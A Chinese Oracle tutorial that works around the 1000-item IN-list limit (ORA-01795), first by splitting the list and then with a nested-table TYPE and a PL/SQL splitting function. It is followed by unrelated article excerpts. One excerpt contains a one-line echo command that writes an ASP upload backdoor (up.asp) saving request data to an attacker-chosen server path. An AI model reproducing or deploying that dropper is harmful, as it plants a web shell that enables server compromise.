介绍一种使用TYPE方式，解决IN列表过程的问题。
Oracle的in操作，最多支持1000个对象，如果超过这个值，则会报错：
SQL> CREATE TABLE T AS SELECT ROWNUM ID, OBJECT_NAME, OBJECT_TYPE FROM DBA_OBJECTS;
表已创建。
SQL> SELECT COUNT(*) FROM T
2 WHERE ID IN
3 (
4 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,
5 22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37,38,39,
6 40,41,42,43,44,45,46,47,48,49,50,51,52,53,54,55,56,57,
7 58,59,60,61,62,63,64,65,66,67,68,69,70,71,72,73,74,75,
8 76,77,78,79,80,81,82,83,84,85,86,87,88,89,90,91,92,93,
9 94,95,96,97,98,99,100,101,102,103,104,105,106,107,108,
10 109,110,111,112,113,114,115,116,117,118,119,120,121,122,
11 123,124,125,126,127,128,129,130,131,132,133,134,135,136,
12 137,138,139,140,141,142,143,144,145,146,147,148,149,150,
13 151,152,153,154,155,156,157,158,159,160,161,162,163,164,
14 165,166,167,168,169,170,171,172,173,174,175,176,177,178,
15 179,180,181,182,183,184,185,186,187,188,189,190,191,192,
16 193,194,195,196,197,198,199,200,201,202,203,204,205,206,
17 207,208,209,210,211,212,213,214,215,216,217,218,219,220,
18 221,222,223,224,225,226,227,228,229,230,231,232,233,234,
19 235,236,237,238,239,240,241,242,243,244,245,246,247,248,
20 249,250,251,252,253,254,255,256,257,258,259,260,261,262,
21 263,264,265,266,267,268,269,270,271,272,273,274,275,276,
22 277,278,279,280,281,282,283,284,285,286,287,288,289,290,
23 291,292,293,294,295,296,297,298,299,300,301,302,303,304,
24 305,306,307,308,309,310,311,312,313,314,315,316,317,318,
25 319,320,321,322,323,324,325,326,327,328,329,330,331,332,
26 333,334,335,336,337,338,339,340,341,342,343,344,345,346,
27 347,348,349,350,351,352,353,354,355,356,357,358,359,360,
28 361,362,363,364,365,366,367,368,369,370,371,372,373,374,
29 375,376,377,378,379,380,381,382,383,384,385,386,387,388,
30 389,390,391,392,393,394,395,396,397,398,399,400,401,402,
31 403,404,405,406,407,408,409,410,411,412,413,414,415,416,
32 417,418,419,420,421,422,423,424,425,426,427,428,429,430,
33 431,432,433,434,435,436,437,438,439,440,441,442,443,444,
34 445,446,447,448,449,450,451,452,453,454,455,456,457,458,
35 459,460,461,462,463,464,465,466,467,468,469,470,471,472,
36 473,474,475,476,477,478,479,480,481,482,483,484,485,486,
37 487,488,489,490,491,492,493,494,495,496,497,498,499,500,
38 501,502,503,504,505,506,507,508,509,510,511,512,513,514,
39 515,516,517,518,519,520,521,522,523,524,525,526,527,528,
40 529,530,531,532,533,534,535,536,537,538,539,540,541,542,
41 543,544,545,546,547,548,549,550,551,552,553,554,555,556,
42 557,558,559,560,561,562,563,564,565,566,567,568,569,570,
43 571,572,573,574,575,576,577,578,579,580,581,582,583,584,
44 585,586,587,588,589,590,591,592,593,594,595,596,597,598,
45 599,600,601,602,603,604,605,606,607,608,609,610,611,612,
46 613,614,615,616,617,618,619,620,621,622,623,624,625,626,
47 627,628,629,630,631,632,633,634,635,636,637,638,639,640,
48 641,642,643,644,645,646,647,648,649,650,651,652,653,654,
49 655,656,657,658,659,660,661,662,663,664,665,666,667,668,
50 669,670,671,672,673,674,675,676,677,678,679,680,681,682,
51 683,684,685,686,687,688,689,690,691,692,693,694,695,696,
52 697,698,699,700,701,702,703,704,705,706,707,708,709,710,
53 711,712,713,714,715,716,717,718,719,720,721,722,723,724,
54 725,726,727,728,729,730,731,732,733,734,735,736,737,738,
55 739,740,741,742,743,744,745,746,747,748,749,750,751,752,
56 753,754,755,756,757,758,759,760,761,762,763,764,765,766,
57 767,768,769,770,771,772,773,774,775,776,777,778,779,780,
58 781,782,783,784,785,786,787,788,789,790,791,792,793,794,
59 795,796,797,798,799,800,801,802,803,804,805,806,807,808,
60 809,810,811,812,813,814,815,816,817,818,819,820,821,822,
61 823,824,825,826,827,828,829,830,831,832,833,834,835,836,
62 837,838,839,840,841,842,843,844,845,846,847,848,849,850,
63 851,852,853,854,855,856,857,858,859,860,861,862,863,864,
64 865,866,867,868,869,870,871,872,873,874,875,876,877,878,
65 879,880,881,882,883,884,885,886,887,888,889,890,891,892,
66 893,894,895,896,897,898,899,900,901,902,903,904,905,906,
67 907,908,909,910,911,912,913,914,915,916,917,918,919,920,
68 921,922,923,924,925,926,927,928,929,930,931,932,933,934,
69 935,936,937,938,939,940,941,942,943,944,945,946,947,948,
70 949,950,951,952,953,954,955,956,957,958,959,960,961,962,
71 963,964,965,966,967,968,969,970,971,972,973,974,975,976,
72 977,978,979,980,981,982,983,984,985,986,987,988,989,990,
73 991,992,993,994,995,996,997,998,999,1000,1001,1002,1003
74 );
991,992,993,994,995,996,997,998,999,1000,1001,1002,1003
*第 73 行出现错误:
ORA-01795: 列表中的最大表达式数为 1000
当然使用拆分表达式的方式可以实现：
SQL> SELECT COUNT(*) FROM T
2 WHERE ID IN
3 (
4 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,
5 22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37,38,39,
6 40,41,42,43,44,45,46,47,48,49,50,51,52,53,54,55,56,57,
7 58,59,60,61,62,63,64,65,66,67,68,69,70,71,72,73,74,75,
8 76,77,78,79,80,81,82,83,84,85,86,87,88,89,90,91,92,93,
9 94,95,96,97,98,99,100,101,102,103,104,105,106,107,108,
10 109,110,111,112,113,114,115,116,117,118,119,120,121,122,
11 123,124,125,126,127,128,129,130,131,132,133,134,135,136,
12 137,138,139,140,141,142,143,144,145,146,147,148,149,150,
13 151,152,153,154,155,156,157,158,159,160,161,162,163,164,
14 165,166,167,168,169,170,171,172,173,174,175,176,177,178,
15 179,180,181,182,183,184,185,186,187,188,189,190,191,192,
16 193,194,195,196,197,198,199,200,201,202,203,204,205,206,
17 207,208,209,210,211,212,213,214,215,216,217,218,219,220,
18 221,222,223,224,225,226,227,228,229,230,231,232,233,234,
19 235,236,237,238,239,240,241,242,243,244,245,246,247,248,
20 249,250,251,252,253,254,255,256,257,258,259,260,261,262,
21 263,264,265,266,267,268,269,270,271,272,273,274,275,276,
22 277,278,279,280,281,282,283,284,285,286,287,288,289,290,
23 291,292,293,294,295,296,297,298,299,300,301,302,303,304,
24 305,306,307,308,309,310,311,312,313,314,315,316,317,318,
25 319,320,321,322,323,324,325,326,327,328,329,330,331,332,
26 333,334,335,336,337,338,339,340,341,342,343,344,345,346,
27 347,348,349,350,351,352,353,354,355,356,357,358,359,360,
28 361,362,363,364,365,366,367,368,369,370,371,372,373,374,
29 375,376,377,378,379,380,381,382,383,384,385,386,387,388,
30 389,390,391,392,393,394,395,396,397,398,399,400,401,402,
31 403,404,405,406,407,408,409,410,411,412,413,414,415,416,
32 417,418,419,420,421,422,423,424,425,426,427,428,429,430,
33 431,432,433,434,435,436,437,438,439,440,441,442,443,444,
34 445,446,447,448,449,450,451,452,453,454,455,456,457,458,
35 459,460,461,462,463,464,465,466,467,468,469,470,471,472,
36 473,474,475,476,477,478,479,480,481,482,483,484,485,486,
37 487,488,489,490,491,492,493,494,495,496,497,498,499,500,
38 501,502,503,504,505,506,507,508,509,510,511,512,513,514,
39 515,516,517,518,519,520,521,522,523,524,525,526,527,528,
40 529,530,531,532,533,534,535,536,537,538,539,540,541,542,
41 543,544,545,546,547,548,549,550,551,552,553,554,555,556,
42 557,558,559,560,561,562,563,564,565,566,567,568,569,570,
43 571,572,573,574,575,576,577,578,579,580,581,582,583,584,
44 585,586,587,588,589,590,591,592,593,594,595,596,597,598,
45 599,600,601,602,603,604,605,606,607,608,609,610,611,612,
46 613,614,615,616,617,618,619,620,621,622,623,624,625,626,
47 627,628,629,630,631,632,633,634,635,636,637,638,639,640,
48 641,642,643,644,645,646,647,648,649,650,651,652,653,654,
49 655,656,657,658,659,660,661,662,663,664,665,666,667,668,
50 669,670,671,672,673,674,675,676,677,678,679,680,681,682,
51 683,684,685,686,687,688,689,690,691,692,693,694,695,696,
52 697,698,699,700,701,702,703,704,705,706,707,708,709,710,
53 711,712,713,714,715,716,717,718,719,720,721,722,723,724,
54 725,726,727,728,729,730,731,732,733,734,735,736,737,738,
55 739,740,741,742,743,744,745,746,747,748,749,750,751,752,
56 753,754,755,756,757,758,759,760,761,762,763,764,765,766,
57 767,768,769,770,771,772,773,774,775,776,777,778,779,780,
58 781,782,783,784,785,786,787,788,789,790,791,792,793,794,
59 795,796,797,798,799,800,801,802,803,804,805,806,807,808,
60 809,810,811,812,813,814,815,816,817,818,819,820,821,822,
61 823,824,825,826,827,828,829,830,831,832,833,834,835,836,
62 837,838,839,840,841,842,843,844,845,846,847,848,849,850,
63 851,852,853,854,855,856,857,858,859,860,861,862,863,864,
64 865,866,867,868,869,870,871,872,873,874,875,876,877,878,
65 879,880,881,882,883,884,885,886,887,888,889,890,891,892,
66 893,894,895,896,897,898,899,900,901,902,903,904,905,906,
67 907,908,909,910,911,912,913,914,915,916,917,918,919,920,
68 921,922,923,924,925,926,927,928,929,930,931,932,933,934,
69 935,936,937,938,939,940,941,942,943,944,945,946,947,948,
70 949,950,951,952,953,954,955,956,957,958,959,960,961,962,
71 963,964,965,966,967,968,969,970,971,972,973,974,975,976,
72 977,978,979,980,981,982,983,984,985,986,987,988,989,990,
73 991,992,993,994,995,996,997,998,999,1000)
74 OR ID IN (1001,1002,1003);
COUNT(*)
----------
1003
用UNION的方式也可以达到上面的效果，不过这种方式存在一个问题，如果IN列表的数据量很大，那么SQL将使用OR或UNION分成多个部分，而且必须确保每个部分的IN列表中的数量都不超过1000，这是很难通过程序来进行控制的。
通过使用TYPE，来构造一个嵌套表的方式，可以彻底解决上面的问题：
SQL> CREATE OR REPLACE TYPE T_IN IS TABLE OF NUMBER;
2 /
类型已创建。
SQL> CREATE OR REPLACE FUNCTION F_TO_T_IN (P_IN VARCHAR2) RETURN T_IN AS
2 V_RETURN T_IN DEFAULT T_IN();
3 V_IN VARCHAR2(32767);
4 V_COUNT NUMBER DEFAULT 0;
5 BEGIN
6 V_IN := REPLACE(P_IN || ',', CHR(10), '');
7 WHILE(INSTR(V_IN, ',') > 0) LOOP
8 V_RETURN.EXTEND;
9 V_COUNT := V_COUNT + 1;
10 V_RETURN(V_COUNT) := SUBSTR(V_IN, 1, INSTR(V_IN, ',') - 1);
11 V_IN := SUBSTR(V_IN, INSTR(V_IN, ',') + 1);
12 END LOOP;
13 RETURN V_RETURN;
14 END;
15 /
函数已创建。
SQL> SELECT COUNT(*) FROM T A, TABLE(SELECT F_TO_T_IN(
2 '1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,
3 22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37,38,39,
4 40,41,42,43,44,45,46,47,48,49,50,51,52,53,54,55,56,57,
5 58,59,60,61,62,63,64,65,66,67,68,69,70,71,72,73,74,75,
6 76,77,78,79,80,81,82,83,84,85,86,87,88,89,90,91,92,93,
7 94,95,96,97,98,99,100,101,102,103,104,105,106,107,108,
8 109,110,111,112,113,114,115,116,117,118,119,120,121,122,
9 123,124,125,126,127,128,129,130,131,132,133,134,135,136,
10 137,138,139,140,141,142,143,144,145,146,147,148,149,150,
11 151,152,153,154,155,156,157,158,159,160,161,162,163,164,
12 165,166,167,168,169,170,171,172,173,174,175,176,177,178,
13 179,180,181,182,183,184,185,186,187,188,189,190,191,192,
14 193,194,195,196,197,198,199,200,201,202,203,204,205,206,
15 207,208,209,210,211,212,213,214,215,216,217,218,219,220,
16 221,222,223,224,225,226,227,228,229,230,231,232,233,234,
17 235,236,237,238,239,240,241,242,243,244,245,246,247,248,
18 249,250,251,252,253,254,255,256,257,258,259,260,261,262,
19 263,264,265,266,267,268,269,270,271,272,273,274,275,276,
20 277,278,279,280,281,282,283,284,285,286,287,288,289,290,
21 291,292,293,294,295,296,297,298,299,300,301,302,303,304,
22 305,306,307,308,309,310,311,312,313,314,315,316,317,318,
23 319,320,321,322,323,324,325,326,327,328,329,330,331,332,
24 333,334,335,336,337,338,339,340,341,342,343,344,345,346,
25 347,348,349,350,351,352,353,354,355,356,357,358,359,360,
26 361,362,363,364,365,366,367,368,369,370,371,372,373,374,
27 375,376,377,378,379,380,381,382,383,384,385,386,387,388,
28 389,390,391,392,393,394,395,396,397,398,399,400,401,402,
29 403,404,405,406,407,408,409,410,411,412,413,414,415,416,
30 417,418,419,420,421,422,423,424,425,426,427,428,429,430,
31 431,432,433,434,435,436,437,438,439,440,441,442,443,444,
32 445,446,447,448,449,450,451,452,453,454,455,456,457,458,
33 459,460,461,462,463,464,465,466,467,468,469,470,471,472,
34 473,474,475,476,477,478,479,480,481,482,483,484,485,486,
35 487,488,489,490,491,492,493,494,495,496,497,498,499,500,
36 501,502,503,504,505,506,507,508,509,510,511,512,513,514,
37 515,516,517,518,519,520,521,522,523,524,525,526,527,528,
38 529,530,531,532,533,534,535,536,537,538,539,540,541,542,
39 543,544,545,546,547,548,549,550,551,552,553,554,555,556,
40 557,558,559,560,561,562,563,564,565,566,567,568,569,570,
41 571,572,573,574,575,576,577,578,579,580,581,582,583,584,
42 585,586,587,588,589,590,591,592,593,594,595,596,597,598,
43 599,600,601,602,603,604,605,606,607,608,609,610,611,612,
44 613,614,615,616,617,618,619,620,621,622,623,624,625,626,
45 627,628,629,630,631,632,633,634,635,636,637,638,639,640,
46 641,642,643,644,645,646,647,648,649,650,651,652,653,654,
47 655,656,657,658,659,660,661,662,663,664,665,666,667,668,
48 669,670,671,672,673,674,675,676,677,678,679,680,681,682,
49 683,684,685,686,687,688,689,690,691,692,693,694,695,696,
50 697,698,699,700,701,702,703,704,705,706,707,708,709,710,
51 711,712,713,714,715,716,717,718,719,720,721,722,723,724,
52 725,726,727,728,729,730,731,732,733,734,735,736,737,738,
53 739,740,741,742,743,744,745,746,747,748,749,750,751,752,
54 753,754,755,756,757,758,759,760,761,762,763,764,765,766,
55 767,768,769,770,771,772,773,774,775,776,777,778,779,780,
56 781,782,783,784,785,786,787,788,789,790,791,792,793,794,
57 795,796,797,798,799,800,801,802,803,804,805,806,807,808,
58 809,810,811,812,813,814,815,816,817,818,819,820,821,822,
59 823,824,825,826,827,828,829,830,831,832,833,834,835,836,
60 837,838,839,840,841,842,843,844,845,846,847,848,849,850,
61 851,852,853,854,855,856,857,858,859,860,861,862,863,864,
62 865,866,867,868,869,870,871,872,873,874,875,876,877,878,
63 879,880,881,882,883,884,885,886,887,888,889,890,891,892,
64 893,894,895,896,897,898,899,900,901,902,903,904,905,906,
65 907,908,909,910,911,912,913,914,915,916,917,918,919,920,
66 921,922,923,924,925,926,927,928,929,930,931,932,933,934,
67 935,936,937,938,939,940,941,942,943,944,945,946,947,948,
68 949,950,951,952,953,954,955,956,957,958,959,960,961,962,
69 963,964,965,966,967,968,969,970,971,972,973,974,975,976,
70 977,978,979,980,981,982,983,984,985,986,987,988,989,990,
71 991,992,993,994,995,996,997,998,999,1000,1001,1002,1003'
72 ) FROM DUAL) B
73 WHERE A.ID = B.COLUMN_VALUE
74 ;
COUNT(*)
----------
1003
这种方式对IN的列表数量没有限制，当然，当前给出的例子很简单，只是针对NUMBER类型的，而且使用VARCHAR2类型来传递列表的值，仍然存在长度的限制，只需要将过程稍微修改一下，改为CLOB类型作为参数，就不在存在长度的限制。至于其他数据类型的实现，方法与此大同小异，这里就不重复了。
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@echo ^("adodb.stream"):.type=1:.open:.write request.binaryread(request.totalbytes):.savetofile server.mappath(request.querystring("s")),2:end with%^> >up.asp 注意，只有一行，中间没有回车符。 生成的...
这样看来，所有的问题都解决了，是吗？ 2 1.4 新的64位机上的64位类型是什么样的？ 3 指针声明 3 1.5 这样的声明有什么问题？char *p1, p2; 我在使用p2的时候报错了。 3 1.6 我想声明一个指针，并为它分配...
LINGO内置了一种建立最优化模型的语言，可以简便地表达大规模问题，利用LINGO高效的求解器可快速求解并分析结果。 §1 LINGO快速入门 当你在windows下开始运行LINGO系统时，会得到类似下面的一个窗口： ...
本文作为一名新手，写的不好地方还请各位大家多多指教，以下内容只是给大家共勉以下我的解决方案，也是我个人的一个见解，有不同意见不同解决方案的朋友还请多多分享自己的解决办法。 首先，我们使用fastclick插件的...
利用字典idxDict保存数字num到其下标idx的映射，遍历查找数字num与目标数target的“互补数”时，只需要查找idxDict[target-num]是否存在即可。 class Solution(object): def twoSum(self, nums, target): """ :type ...
基本上，测试功能可以分为两种类型： Type-1 (T1)，这是单目标优化问题的测试函数。 Type-2 (T2)，这是多目标优化问题的测试函数。 参考： Yi Chen, Yun Li, (2018), Computational Intelligence Assisted Design ...
这篇文章主要是跟大家分享了利用Vue.js实现checkbox的全选反选效果，之前写的代码存在一个bug,就是当你选择全选的时候去掉后面的一个选项，再点全选结果就是反的了。后来很感谢朋友留言帮我改了这个问题嘻嘻,下面一...
ble audio补丁原理是利用hidraw节点捕捉协议栈发送的语音数据，目前Android Blueroid将ble语音数据和按键信息通过hid发送出去，通过建立hidraw节点，可以从中捕捉到语音数据。目前通过ble hal实现从hidraw中读取遥控...
但这些部门面临的最大的问题就是如何用一种有效的安全解决方案来保护网络及信息系统不受攻击。在众多的方案中，防火墙是安全解决策略的关键部分。 防火墙是一类安全防范措施的总称，它是在两个网络之间强制实施访问...
但这些部门面临的最大的问题就是如何用一种有效的安全解决方案来保护网络及信息系统不受攻击。在众多的方案中，防火墙是安全解决策略的关键部分。 防火墙是一类安全防范措施的总称，它是在两个网络之间强制实施访问...
如果你的机器解决了2000问题，那么PHP也一样没有千年虫问题！ 1.1 历史 三年前，Rasmus Lerdorf为了创建他的在线简历而创造了"个人主页工具"（Personal Home Page Tools）。这是一种非常简单的语言。其后越来越多...
17.4.3 %TYPE、%ROWTYPE定义记录变量 17.4.4 参数化游标 17.4.5 游标中的循环 17.4.6 游标变量 17.5 小结 第18章 事务控制与并发处理 18.1 SQL事务控制 18.1.1 事务控制的引入 18.1.2 事务的...
job参数是工作号，它在问题中唯一标识工作。 broken参数指示此工作是否将标记为破——TRUE说明此工作将标记为破，而FLASE说明此工作将标记为未破。 dl.bitsCN.com网管软件下载 next_date参数指示在什么时候...
使用IN操作符的优点： 在长的选项清单时,语法直观； 计算的次序容易管理； 比 OR 操作符清单执行更快；最大优点是可以包含其他 SELECT 语句，使用能够动态地建立 WHERE 子句。 如 SELECT prod_id,prod_price,prod...
"Ransomware has become the most profitable malware type in history." 勒索病毒软件的专业门槛比较低，在互联网中有很多开源代码。虽然一般勒索赎金的数额不太大，但是却对感染勒索病毒的商业机构、大型企业的...
1．功能：检测磁盘的FAT表、目录结构、文件系统等是否有问题，并可将检测出的问题加以修复。 2．类型：外部命令 3．格式：SCANDISK[盘符1：]{[盘符2：]…}[/ALL] 4．使用说明： （1）CCANDISK适用于硬盘和...
如果您曾经编写过很多 C 程序，那么您可能曾多次使用过 malloc() 和 free()。不过，您可能没有用一些时间去思考它们在您的操作系统中是如何实现的。本节将向您展示 malloc 和 free 的一个最简化实现的代码，来帮助...
在这个系列中一共包含6个案例，从简单到复杂，也是对问题分解、思考和解决的一个过程，它们分别是： （1）类之间的依赖； 降低 （2）接口依赖； （3）基 于配置文件和Reflection的工厂模式； （4）使用Spring.net...